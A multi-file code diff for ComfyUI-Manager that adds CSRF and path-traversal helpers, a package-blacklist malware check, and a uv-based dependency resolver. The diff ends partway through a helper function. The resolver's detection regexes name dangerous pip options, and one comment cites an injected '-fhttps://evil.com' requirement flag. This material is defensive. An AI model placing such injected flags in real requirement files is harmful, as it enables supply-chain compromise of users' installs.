@@ -314,12 +359,12 @@ def checkout_custom_node_hash(git_custom_node_infos):
need_checkout = True
if need_checkout:
repo = git.Repo(fullpath)
commit_hash = repo.head.commit.hexsha
with open_repo(fullpath) as repo:
commit_hash = repo.head_commit_hexsha
if commit_hash != item['hash']:
print(f"CHECKOUT: {repo_name} [{item['hash']}]")
repo.git.checkout(item['hash'])
if commit_hash != item['hash']:
print(f"CHECKOUT: {repo_name} [{item['hash']}]")
repo.checkout(item['hash'])
except Exception:
print(f"Failed to restore snapshots for the custom node '{path}'")
@@ -452,7 +497,7 @@ def restore_pip_snapshot(pips, options):
res = 1
try:
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install'] + non_url)
except:
except Exception:
pass
# fallback
@@ -461,7 +506,7 @@ def restore_pip_snapshot(pips, options):
res = 1
try:
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
except:
except Exception:
pass
if res != 0:
@@ -472,7 +517,7 @@ def restore_pip_snapshot(pips, options):
res = 1
try:
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
except:
except Exception:
pass
if res != 0:
@@ -483,7 +528,7 @@ def restore_pip_snapshot(pips, options):
res = 1
try:
res = subprocess.check_call([sys.executable, '-m', 'pip', 'install', x])
except:
except Exception:
pass
if res != 0:
@@ -494,7 +539,7 @@ def restore_pip_snapshot(pips, options):
def setup_environment():
if git_exe_path is not None:
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe_path)
setup_git_environment(git_exe_path)
setup_environment()
@@ -525,7 +570,9 @@ try:
restore_pip_snapshot(pips, options)
sys.exit(0)
except Exception as e:
print(e)
sys.exit(-1)
print(e, file=sys.stderr)
if hasattr(e, 'stderr') and e.stderr:
print(e.stderr, file=sys.stderr)
sys.exit(1)
@@ -74,6 +74,12 @@ def normalize_to_github_id(url) -> str:
return f"{author}/{repo_name}"
# Handle short format like "author/repo" (aux_id format)
if '/' in url and not url.startswith('http'):
parts = url.split('/')
if len(parts) == 2 and parts[0] and parts[1]:
return url
return None
+153
View File
@@ -0,0 +1,153 @@
"""Security helpers for CSRF protection and Content-Type gating.
reject_simple_form_post() is applied ONLY to POST handlers that do not consume
a request body (e.g., snapshot/save, queue/reset, queue/start, reboot). These
are vulnerable to cross-origin <form method=POST> attacks because the server
accepts the request without parsing any body — the attacker needs no ability
to forge a valid payload, only to point a hidden form at the URL.
Handlers that DO read a body via ``await request.json()`` (install/git_url,
install/pip, queue/install_model, db_mode POST, policy/update POST,
channel_url_list POST, queue/batch, queue/task, import_fail_info, etc.) are
NOT gated here — a cross-origin <form method=POST> cannot forge a valid JSON
body because the browser refuses to send ``application/json`` without a CORS
preflight, which this server rejects by not responding with an appropriate
Access-Control-Allow-Origin.
DO NOT add the gate to body-reading handlers (redundant + UX-breaking).
DO NOT remove the gate from no-body handlers (this is the bypass vector).
"""
import os
from enum import Enum
from typing import Optional
from aiohttp import web
is_personal_cloud_mode = False
handler_policy = {}
# CORS "simple request" Content-Type set per Fetch spec §3.2.3. Browsers send
# <form method=POST> submissions with one of these three MIME types and do NOT
# trigger a CORS preflight, so a malicious cross-origin page can silently POST
# into state-changing endpoints if we only gate on HTTP method. Blocking these
# three Content-Types on our mutation endpoints forces any non-same-origin POST
# to use a non-simple Content-Type (e.g. application/json), which triggers a
# preflight that this server rejects (no Access-Control-Allow-Origin response).
_SIMPLE_FORM_CONTENT_TYPES = frozenset({
'application/x-www-form-urlencoded',
'multipart/form-data',
'text/plain',
})
def reject_simple_form_post(request) -> Optional[web.Response]:
"""Reject Content-Types that enable preflight-less <form method=POST> CSRF.
These 3 MIME types are the complete CORS "simple request" Content-Type set
(Fetch spec §3.2.3 "CORS-safelisted request-header"). Blocking them
eliminates the <form method=POST> cross-origin CSRF vector, because any
other Content-Type triggers a browser-enforced CORS preflight — and this
server does not answer preflights with ``Access-Control-Allow-Origin``,
effectively blocking cross-origin requests that use non-simple types.
Returns:
web.Response(status=400) when the request has a simple-form
Content-Type that must be rejected. None when the request is allowed
to proceed (no body, application/json, or any non-simple Content-Type).
Note:
aiohttp's ``request.content_type`` normalizes the header (lower-cases,
strips parameters), so a ``multipart/form-data; boundary=----X`` header
is compared as ``multipart/form-data``.
"""
if request.content_type in _SIMPLE_FORM_CONTENT_TYPES:
return web.Response(
status=400,
text='Invalid Content-Type for this endpoint. Use application/json or omit body.',
)
return None
class HANDLER_POLICY(Enum):
MULTIPLE_REMOTE_BAN_NON_LOCAL = 1
MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD = 2
BANNED = 3
def is_loopback(address):
import ipaddress
try:
return ipaddress.ip_address(address).is_loopback
except ValueError:
return False
def is_dedicated_install_allowed(flag_value: bool, listen_address: str, network_mode: str) -> bool:
"""P-direct predicate for the dedicated install flags (goal265-spec.md §1.2).
allowed iff flag AND (loopback listener OR network_mode == 'personal_cloud').
Gates the git-URL / standalone-pip install surfaces via the dedicated
``allow_git_url_install`` / ``allow_pip_install`` config flags, fully
decoupled from ``security_level`` (REPLACE, not AND — spec §1.1 inv. 1).
The network-position term retains today's invariant that a public
(non-loopback, non-personal_cloud) listener stays denied regardless of
the flags (spec §1.1 inv. 2).
Pure function — NO config access; callers resolve ``flag_value`` and
``network_mode`` through their own config reader and pass values in
(preserves common/ layering: this module must stay config-import-free).
"""
return bool(flag_value) and (is_loopback(listen_address) or network_mode.lower() == 'personal_cloud')
def do_nothing():
pass
def get_handler_policy(x):
return handler_policy.get(x) or set()
def add_handler_policy(x, policy):
s = handler_policy.get(x)
if s is None:
s = set()
handler_policy[x] = s
s.add(policy)
multiple_remote_alert = do_nothing
def is_safe_path_target(target: str) -> bool:
"""
Check if target string is safe from path traversal attacks.
Args:
target: User-provided filename or identifier
Returns:
True if safe, False if contains path traversal characters
"""
if '/' in target or '\\' in target or '..' in target or '\x00' in target:
return False
return True
def get_safe_file_path(target: str, base_dir: str, extension: str = ".json") -> Optional[str]:
"""
Safely construct a file path, preventing path traversal attacks.
Args:
target: User-provided filename (without extension)
base_dir: Base directory path
extension: File extension to append (default: ".json")
Returns:
Safe file path or None if input contains path traversal attempts
"""
if not is_safe_path_target(target):
return None
return os.path.join(base_dir, f"{target}{extension}")
@@ -8,24 +8,29 @@ import aiohttp
import json
import threading
import os
from datetime import datetime
import subprocess
import sys
import re
import logging
import platform
import shlex
import time
from functools import lru_cache
cache_lock = threading.Lock()
session_lock = threading.Lock()
comfyui_manager_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
cache_dir = os.path.join(comfyui_manager_path, '.cache') # This path is also updated together in **manager_core.update_user_directory**.
use_uv = False
use_unified_resolver = False
bypass_ssl = False
def is_manager_pip_package():
return not os.path.exists(os.path.join(comfyui_manager_path, '..', 'custom_nodes'))
def add_python_path_to_env():
if platform.system() != "Windows":
sep = ':'
@@ -55,7 +60,7 @@ def get_pip_cmd(force_uv=False):
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'pip']
except Exception:
logging.warning("[ComfyUI-Manager] `python -m pip` not available. Falling back to `uv`.")
logging.warning("[ComfyUI-Manager] python -m pip not available. Falling back to uv.")
# Try uv (either forced or pip failed)
import shutil
@@ -64,19 +69,19 @@ def get_pip_cmd(force_uv=False):
try:
test_cmd = [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', '--version']
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
logging.info("[ComfyUI-Manager] Using `uv` as Python module for pip operations.")
logging.info("[ComfyUI-Manager] Using uv as Python module for pip operations.")
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv', 'pip']
except Exception:
pass
# Try standalone uv
if shutil.which('uv'):
logging.info("[ComfyUI-Manager] Using standalone `uv` for pip operations.")
logging.info("[ComfyUI-Manager] Using standalone uv for pip operations.")
return ['uv', 'pip']
# Nothing worked
logging.error("[ComfyUI-Manager] Neither `python -m pip` nor `uv` are available. Cannot proceed with package operations.")
raise Exception("Neither `pip` nor `uv` are available for package management")
logging.error("[ComfyUI-Manager] Neither python -m pip nor uv are available. Cannot proceed with package operations.")
raise Exception("Neither pip nor uv are available for package management")
def make_pip_cmd(cmd):
@@ -97,7 +102,7 @@ def make_pip_cmd(cmd):
# DON'T USE StrictVersion - cannot handle pre_release version
# try:
# from distutils.version import StrictVersion
# except:
# except Exception:
# print(f"[ComfyUI-Manager] 'distutils' package not found. Activating fallback mode for compatibility.")
class StrictVersion:
def __init__(self, version_string):
@@ -172,7 +177,7 @@ def is_file_created_within_one_day(file_path):
return False
file_creation_time = os.path.getctime(file_path)
current_time = datetime.now().timestamp()
current_time = time.time()
time_difference = current_time - file_creation_time
return time_difference <= 86400
@@ -552,7 +557,7 @@ def robust_readlines(fullpath):
try:
with open(fullpath, "r") as f:
return f.readlines()
except:
except Exception:
encoding = None
with open(fullpath, "rb") as f:
raw_data = f.read()
@@ -3,7 +3,7 @@ from __future__ import annotations
from dataclasses import dataclass
import os
from git_utils import get_commit_hash
from .git_utils import get_commit_hash
@dataclass
@@ -2,7 +2,7 @@ import sys
import subprocess
import os
import manager_util
from . import manager_util
def security_check():
@@ -106,6 +106,7 @@ Advisory: PYSEC-2026-2
}
installed_pips = subprocess.check_output(manager_util.make_pip_cmd(["freeze"]), text=True)
installed_pip_set = set(installed_pips.strip().split('\n'))
detected = set()
try:
@@ -130,8 +131,6 @@ Advisory: PYSEC-2026-2
print(f"[SECURITY ALERT] custom node '{k}' is dangerous.")
detected.add(v)
installed_pip_set = set(installed_pips.strip().split('\n'))
for k, v in pip_blacklist.items():
if '==' in k:
if k in installed_pip_set:
@@ -149,12 +148,8 @@ Advisory: PYSEC-2026-2
if len(detected) > 0:
for line in installed_pip_set:
for k, v in pip_blacklist.items():
if '==' in k:
if line == k:
print(f"[SECURITY ALERT] '{line}' is dangerous.")
else:
if line.split('==')[0] == k:
print(f"[SECURITY ALERT] '{line}' is dangerous.")
if ('==' in k and k == line) or ('==' not in k and line.split('==')[0] == k):
print(f"[SECURITY ALERT] '{line}' is dangerous.")
print("\n########################################################################")
print(" Malware has been detected, forcibly terminating ComfyUI execution.")
+136
View File
@@ -0,0 +1,136 @@
"""
Robust timestamp utilities with datetime fallback.
Some environments (especially Mac) have issues with the datetime module
due to local file name conflicts or Homebrew Python module path issues.
"""
import logging
import time as time_module
import uuid
_datetime_available = None
_dt_datetime = None
def _init_datetime():
"""Initialize datetime availability check (lazy, once)."""
global _datetime_available, _dt_datetime
if _datetime_available is not None:
return
try:
import datetime as dt
if hasattr(dt, 'datetime'):
from datetime import datetime as dt_datetime
_dt_datetime = dt_datetime
_datetime_available = True
return
except Exception as e:
logging.debug(f"[ComfyUI-Manager] datetime import failed: {e}")
_datetime_available = False
logging.warning("[ComfyUI-Manager] datetime unavailable, using time module fallback")
def current_timestamp() -> str:
"""
Get current timestamp for logging.
Format: YYYY-MM-DD HH:MM:SS.mmm (or Unix timestamp if fallback)
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
return str(time_module.time()).split('.')[0]
def get_timestamp_for_filename() -> str:
"""
Get timestamp suitable for filenames.
Format: YYYYMMDD_HHMMSS
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y%m%d_%H%M%S')
return time_module.strftime('%Y%m%d_%H%M%S')
def get_timestamp_for_path() -> str:
"""
Get timestamp for path/directory names.
Format: YYYY-MM-DD_HH-MM-SS
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
return time_module.strftime('%Y-%m-%d_%H-%M-%S')
def get_backup_branch_name(repo=None) -> str:
"""
Get backup branch name with current timestamp.
Format: backup_YYYYMMDD_HHMMSS (or backup_YYYYMMDD_HHMMSS_N if exists)
Args:
repo: Optional git.Repo object. If provided, checks for name collisions
and adds sequential suffix if needed.
Returns:
Unique backup branch name.
"""
base_name = f'backup_{get_timestamp_for_filename()}'
if repo is None:
return base_name
# Check if branch exists
try:
existing_branches = {b.name for b in repo.list_heads()}
except Exception:
return base_name
if base_name not in existing_branches:
return base_name
# Add sequential suffix
for i in range(1, 100):
new_name = f'{base_name}_{i}'
if new_name not in existing_branches:
return new_name
# Ultimate fallback: use UUID (very unlikely to reach here)
return f'{base_name}_{uuid.uuid4().hex[:6]}'
def get_now():
"""
Get current datetime object.
Returns datetime.now() if available, otherwise a FakeDatetime object
that supports basic operations (timestamp(), strftime()).
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now()
# Fallback: return object with basic datetime-like interface
t = time_module.localtime()
class FakeDatetime:
def timestamp(self):
return time_module.time()
def strftime(self, fmt):
return time_module.strftime(fmt, t)
def isoformat(self):
return time_module.strftime('%Y-%m-%dT%H:%M:%S', t)
return FakeDatetime()
def get_unix_timestamp() -> float:
"""Get current Unix timestamp."""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().timestamp()
return time_module.time()
@@ -0,0 +1,724 @@
"""Unified Dependency Resolver for ComfyUI Manager.
Resolves and installs all node-pack dependencies at once using ``uv pip compile``
followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
Responsibility scope
--------------------
- Dependency collection, resolution, and installation **only**.
- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
See Also
--------
- docs/dev/PRD-unified-dependency-resolver.md
- docs/dev/DESIGN-unified-dependency-resolver.md
"""
from __future__ import annotations
import logging
import os
import re
import shutil
import subprocess
import sys
import tempfile
import time
from collections import defaultdict
from dataclasses import dataclass, field
from . import manager_util
logger = logging.getLogger("ComfyUI-Manager")
# ---------------------------------------------------------------------------
# Exceptions
# ---------------------------------------------------------------------------
class UvNotAvailableError(RuntimeError):
"""Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
# ---------------------------------------------------------------------------
# Data classes
# ---------------------------------------------------------------------------
@dataclass
class PackageRequirement:
"""Individual package dependency."""
name: str # Normalised package name
spec: str # Original spec string (e.g. ``torch>=2.0``)
source: str # Absolute path of the source node pack
@dataclass
class CollectedDeps:
"""Aggregated dependency collection result."""
requirements: list[PackageRequirement] = field(default_factory=list)
skipped: list[tuple[str, str]] = field(default_factory=list)
sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
extra_index_urls: list[str] = field(default_factory=list)
@dataclass
class LockfileResult:
"""Result of ``uv pip compile``."""
success: bool
lockfile_path: str | None = None
conflicts: list[str] = field(default_factory=list)
stderr: str = ""
@dataclass
class InstallResult:
"""Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
success: bool
installed: list[str] = field(default_factory=list)
skipped: list[str] = field(default_factory=list)
stderr: str = ""
@dataclass
class ResolveResult:
"""Full pipeline result."""
success: bool
collected: CollectedDeps | None = None
lockfile: LockfileResult | None = None
install: InstallResult | None = None
error: str | None = None
# ---------------------------------------------------------------------------
# Resolver
# ---------------------------------------------------------------------------
_TMP_PREFIX = "comfyui_resolver_"
# Security: reject dangerous requirement patterns at line start.
# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
# ``^`` anchor. Both regexes share responsibility for option rejection:
# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
# options appearing after a package name.
_DANGEROUS_PATTERNS = re.compile(
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
r'|--find-links\b|-f\b|.*@\s*file://)',
re.IGNORECASE,
)
# Security: reject dangerous pip options appearing anywhere in the line
# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
# short-flag attacks like ``-fhttps://evil.com``.
_INLINE_DANGEROUS_OPTIONS = re.compile(
r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
r'|--trusted-host\b|--global-option\b|--install-option\b'
r'|-f|-r|-e|-c)',
re.IGNORECASE,
)
# Credential redaction in index URLs.
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
# Version-spec parsing (same regex as existing ``is_blacklisted()``).
_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
"""Collect all installed node-pack directory paths.
Parameters
----------
custom_nodes_dirs:
Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
Returns
-------
list[str]
Paths of node-pack directories (immediate subdirectories of each base).
"""
paths: list[str] = []
for base in custom_nodes_dirs:
if os.path.isdir(base):
for name in os.listdir(base):
fullpath = os.path.join(base, name)
if os.path.isdir(fullpath):
paths.append(fullpath)
return paths
def collect_base_requirements(comfy_path: str) -> list[str]:
"""Read ComfyUI's own base requirements as constraint lines.
Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
These are ComfyUI-level dependencies only — never read from node packs.
Parameters
----------
comfy_path:
Root directory of the ComfyUI installation.
Returns
-------
list[str]
Non-empty, non-comment requirement lines.
"""
reqs: list[str] = []
for filename in ("requirements.txt", "manager_requirements.txt"):
req_path = os.path.join(comfy_path, filename)
if os.path.exists(req_path):
with open(req_path, encoding="utf-8") as f:
reqs.extend(
line.strip() for line in f
if line.strip() and not line.strip().startswith('#')
)
return reqs
class UnifiedDepResolver:
"""Unified dependency resolver.
Resolves and installs all dependencies of (installed + new) node packs at
once using *uv*.
Parameters
----------
node_pack_paths:
Absolute paths of node-pack directories to consider.
base_requirements:
Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
blacklist:
Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
overrides:
Package-name remapping dict (default: ``cm_global.pip_overrides``).
downgrade_blacklist:
Packages whose installed versions must not be downgraded
(default: ``cm_global.pip_downgrade_blacklist``).
"""
def __init__(
self,
node_pack_paths: list[str],
base_requirements: list[str] | None = None,
blacklist: set[str] | None = None,
overrides: dict[str, str] | None = None,
downgrade_blacklist: list[str] | None = None,
) -> None:
self.node_pack_paths = node_pack_paths
self.base_requirements = base_requirements or []
self.blacklist: set[str] = blacklist if blacklist is not None else set()
self.overrides: dict[str, str] = overrides if overrides is not None else {}
self.downgrade_blacklist: list[str] = (
downgrade_blacklist if downgrade_blacklist is not None else []
)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def resolve_and_install(self) -> ResolveResult:
"""Execute the full pipeline: cleanup → collect → compile → install."""
self.cleanup_stale_tmp()
tmp_dir: str | None = None
try:
# 1. Collect
collected = self.collect_requirements()
if not collected.requirements:
logger.info("[UnifiedDepResolver] No dependencies to resolve")
return ResolveResult(success=True, collected=collected)
logger.info(
"[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
len(collected.requirements),
len(collected.sources),
len(collected.skipped),
)
# 2. Compile
lockfile = self.compile_lockfile(collected)
if not lockfile.success:
return ResolveResult(
success=False,
collected=collected,
lockfile=lockfile,
error=f"compile failed: {'; '.join(lockfile.conflicts)}",
)
# tmp_dir is the parent of lockfile_path
tmp_dir = os.path.dirname(lockfile.lockfile_path) # type: ignore[arg-type]
# 3. Install
install = self.install_from_lockfile(lockfile.lockfile_path) # type: ignore[arg-type]
return ResolveResult(
success=install.success,
collected=collected,
lockfile=lockfile,
install=install,
error=install.stderr if not install.success else None,
)
except UvNotAvailableError:
raise
except Exception as exc:
logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
return ResolveResult(success=False, error=str(exc))
finally:
if tmp_dir and os.path.isdir(tmp_dir):
shutil.rmtree(tmp_dir, ignore_errors=True)
# ------------------------------------------------------------------
# Step 1: collect
# ------------------------------------------------------------------
def collect_requirements(self) -> CollectedDeps:
"""Collect dependencies from all node packs."""
requirements: list[PackageRequirement] = []
skipped: list[tuple[str, str]] = []
sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
extra_index_urls: list[str] = []
# Snapshot installed packages once to avoid repeated subprocess calls.
# Skip when downgrade_blacklist is empty (the common default).
installed_snapshot = (
manager_util.get_installed_packages()
if self.downgrade_blacklist else {}
)
for pack_path in self.node_pack_paths:
# Exclude disabled node packs (directory-based mechanism).
if self._is_disabled_path(pack_path):
continue
req_file = os.path.join(pack_path, "requirements.txt")
if not os.path.exists(req_file):
continue
for raw_line in self._read_requirements(req_file):
line = raw_line.split('#')[0].strip()
if not line:
continue
# 0. Security: reject dangerous patterns
if _DANGEROUS_PATTERNS.match(line):
skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
logger.warning(
"[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
line, pack_path,
)
continue
# 1. Separate --index-url / --extra-index-url handling
# (before path separator check, because URLs contain '/')
# URLs are staged but NOT committed until the line passes
# all validation (prevents URL injection from rejected lines).
pending_urls: list[str] = []
if '--index-url' in line or '--extra-index-url' in line:
pkg_spec, pending_urls = self._split_index_url(line)
line = pkg_spec
if not line:
# Standalone option line (no package prefix) — safe
extra_index_urls.extend(pending_urls)
continue
# 1b. Reject dangerous pip options appearing after package name
# (--index-url/--extra-index-url already extracted above)
if _INLINE_DANGEROUS_OPTIONS.search(line):
skipped.append((line, f"rejected: inline pip option in {pack_path}"))
logger.warning(
"[UnifiedDepResolver] rejected inline pip option: '%s' from %s",
line, pack_path,
)
continue
# Reject path separators in package name portion
pkg_name_part = re.split(r'[><=!~;]', line)[0]
if '/' in pkg_name_part or '\\' in pkg_name_part:
skipped.append((line, "rejected: path separator in package name"))
logger.warning(
"[UnifiedDepResolver] rejected path separator: '%s' from %s",
line, pack_path,
)
continue
# 2. Remap package name
pkg_spec = self._remap_package(line)
# 3. Extract normalised name
pkg_name = self._extract_package_name(pkg_spec)
# 4. Blacklist check
if pkg_name in self.blacklist:
skipped.append((pkg_spec, "blacklisted"))
continue
# 5. Downgrade blacklist check
if self._is_downgrade_blacklisted(pkg_name, pkg_spec,
installed_snapshot):
skipped.append((pkg_spec, "downgrade blacklisted"))
continue
# 6. Collect (no dedup — uv handles resolution)
requirements.append(
PackageRequirement(name=pkg_name, spec=pkg_spec, source=pack_path)
)
sources[pkg_name].append((pack_path, pkg_spec))
# Commit staged index URLs only after all validation passed.
if pending_urls:
extra_index_urls.extend(pending_urls)
return CollectedDeps(
requirements=requirements,
skipped=skipped,
sources=dict(sources),
extra_index_urls=list(set(extra_index_urls)),
)
# ------------------------------------------------------------------
# Step 2: compile
# ------------------------------------------------------------------
def compile_lockfile(self, deps: CollectedDeps) -> LockfileResult:
"""Generate pinned requirements via ``uv pip compile``."""
tmp_dir = tempfile.mkdtemp(prefix=_TMP_PREFIX)
try:
# Write temp requirements
tmp_req = os.path.join(tmp_dir, "input-requirements.txt")
with open(tmp_req, "w", encoding="utf-8") as fh:
for req in deps.requirements:
fh.write(req.spec + "\n")
# Write constraints (base dependencies)
tmp_constraints: str | None = None
if self.base_requirements:
tmp_constraints = os.path.join(tmp_dir, "constraints.txt")
with open(tmp_constraints, "w", encoding="utf-8") as fh:
for line in self.base_requirements:
fh.write(line.strip() + "\n")
lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
cmd = self._get_uv_cmd() + [
"pip", "compile",
tmp_req,
"--output-file", lockfile_path,
"--python", sys.executable,
]
if tmp_constraints:
cmd += ["--constraint", tmp_constraints]
for url in deps.extra_index_urls:
logger.info(
"[UnifiedDepResolver] extra-index-url: %s",
self._redact_url(url),
)
cmd += ["--extra-index-url", url]
logger.info("[UnifiedDepResolver] running: %s", " ".join(
self._redact_url(c) for c in cmd
))
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=300,
)
except subprocess.TimeoutExpired:
logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
return LockfileResult(
success=False,
conflicts=["compile timeout exceeded (300s)"],
stderr="TimeoutExpired",
)
if result.returncode != 0:
conflicts = self._parse_conflicts(result.stderr)
return LockfileResult(
success=False,
conflicts=conflicts,
stderr=result.stderr,
)
if not os.path.exists(lockfile_path):
return LockfileResult(
success=False,
conflicts=["lockfile not created despite success return code"],
stderr=result.stderr,
)
return LockfileResult(success=True, lockfile_path=lockfile_path)
except UvNotAvailableError:
shutil.rmtree(tmp_dir, ignore_errors=True)
raise
except Exception:
shutil.rmtree(tmp_dir, ignore_errors=True)
raise
# ------------------------------------------------------------------
# Step 3: install
# ------------------------------------------------------------------
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
"""Install from pinned requirements (``uv pip install -r``).
Do **not** use ``uv pip sync`` — it deletes packages not in the
lockfile, risking removal of torch, ComfyUI deps, etc.
"""
cmd = self._get_uv_cmd() + [
"pip", "install",
"--requirement", lockfile_path,
"--python", sys.executable,
]
logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=600,
)
except subprocess.TimeoutExpired:
logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
return InstallResult(
success=False,
stderr="TimeoutExpired: install exceeded 600s",
)
installed, skipped_pkgs = self._parse_install_output(result)
return InstallResult(
success=result.returncode == 0,
installed=installed,
skipped=skipped_pkgs,
stderr=result.stderr if result.returncode != 0 else "",
)
# ------------------------------------------------------------------
# uv command resolution
# ------------------------------------------------------------------
def _get_uv_cmd(self) -> list[str]:
"""Determine the ``uv`` command to use.
``python_embeded`` spelling is intentional — matches the actual path
name in the ComfyUI Windows distribution.
"""
embedded = 'python_embeded' in sys.executable
# 1. Try uv as a Python module
try:
test_cmd = (
[sys.executable]
+ (['-s'] if embedded else [])
+ ['-m', 'uv', '--version']
)
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
except Exception:
pass
# 2. Standalone uv executable
if shutil.which('uv'):
return ['uv']
raise UvNotAvailableError("uv is not available")
# ------------------------------------------------------------------
# Helpers — collection
# ------------------------------------------------------------------
@staticmethod
def _is_disabled_path(path: str) -> bool:
"""Return ``True`` if *path* is within a ``.disabled`` directory."""
# New style: custom_nodes/.disabled/{name}
if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
return True
# Old style: {name}.disabled suffix
if path.rstrip('/').endswith('.disabled'):
return True
return False
@staticmethod
def _read_requirements(filepath: str) -> list[str]:
"""Read requirements file using ``robust_readlines`` pattern."""
return manager_util.robust_readlines(filepath)
@staticmethod
def _split_index_url(line: str) -> tuple[str, list[str]]:
"""Split index-url options from a requirement line.
Handles lines with one or more ``--index-url`` / ``--extra-index-url``
options. Returns ``(package_spec, [url, ...])``.
Examples::
"torch --extra-index-url U1 --index-url U2"
→ ("torch", ["U1", "U2"])
"--index-url URL"
→ ("", ["URL"])
"""
urls: list[str] = []
remainder_tokens: list[str] = []
# Regex: match --extra-index-url or --index-url followed by its value
option_re = re.compile(
r'(--(?:extra-)?index-url)\s+(\S+)'
)
# Pattern for bare option flags without a URL value
bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
last_end = 0
for m in option_re.finditer(line):
# Text before this option is part of the package spec
before = line[last_end:m.start()].strip()
if before:
remainder_tokens.append(before)
urls.append(m.group(2))
last_end = m.end()
# Trailing text after last option
trailing = line[last_end:].strip()
if trailing:
remainder_tokens.append(trailing)
# Strip any bare option flags that leaked into remainder tokens
# (e.g. "--index-url" with no URL value after it)
remainder_tokens = [
t for t in remainder_tokens if not bare_option_re.match(t)
]
pkg_spec = " ".join(remainder_tokens).strip()
return pkg_spec, urls
def _remap_package(self, pkg: str) -> str:
"""Apply ``pip_overrides`` remapping."""
if pkg in self.overrides:
remapped = self.overrides[pkg]
logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
return remapped
return pkg
@staticmethod
def _extract_package_name(spec: str) -> str:
"""Extract normalised package name from a requirement spec."""
name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
return name.lower().replace('-', '_')
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
installed: dict) -> bool:
"""Reproduce the downgrade logic from ``is_blacklisted()``.
Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
Args:
installed: Pre-fetched snapshot from
``manager_util.get_installed_packages()``.
"""
if pkg_name not in self.downgrade_blacklist:
return False
match = _VERSION_SPEC_PATTERN.search(pkg_spec)
if match is None:
# No version spec: prevent reinstall if already installed
if pkg_name in installed:
return True
elif match.group(2) in ('<=', '==', '<', '~='):
if pkg_name in installed:
try:
installed_ver = manager_util.StrictVersion(installed[pkg_name])
requested_ver = manager_util.StrictVersion(match.group(3))
if installed_ver >= requested_ver:
return True
except (ValueError, TypeError):
logger.warning(
"[UnifiedDepResolver] version parse failed: %s", pkg_spec,
)
return False
return False
# ------------------------------------------------------------------
# Helpers — parsing & output
# ------------------------------------------------------------------
@staticmethod
def _parse_conflicts(stderr: str) -> list[str]:
"""Extract conflict descriptions from ``uv pip compile`` stderr."""
conflicts: list[str] = []
for line in stderr.splitlines():
line = line.strip()
if line and ('conflict' in line.lower() or 'error' in line.lower()):
conflicts.append(line)
return conflicts or [stderr.strip()] if stderr.strip() else []
@staticmethod
def _parse_install_output(
result: subprocess.CompletedProcess[str],
) -> tuple[list[str], list[str]]:
"""Parse ``uv pip install`` stdout for installed/skipped packages."""
installed: list[str] = []
skipped_pkgs: list[str] = []
for line in result.stdout.splitlines():
line_lower = line.strip().lower()
if 'installed' in line_lower or 'updated' in line_lower:
installed.append(line.strip())
elif 'already' in line_lower or 'satisfied' in line_lower:
skipped_pkgs.append(line.strip())
return installed, skipped_pkgs
@staticmethod
def _redact_url(url: str) -> str:
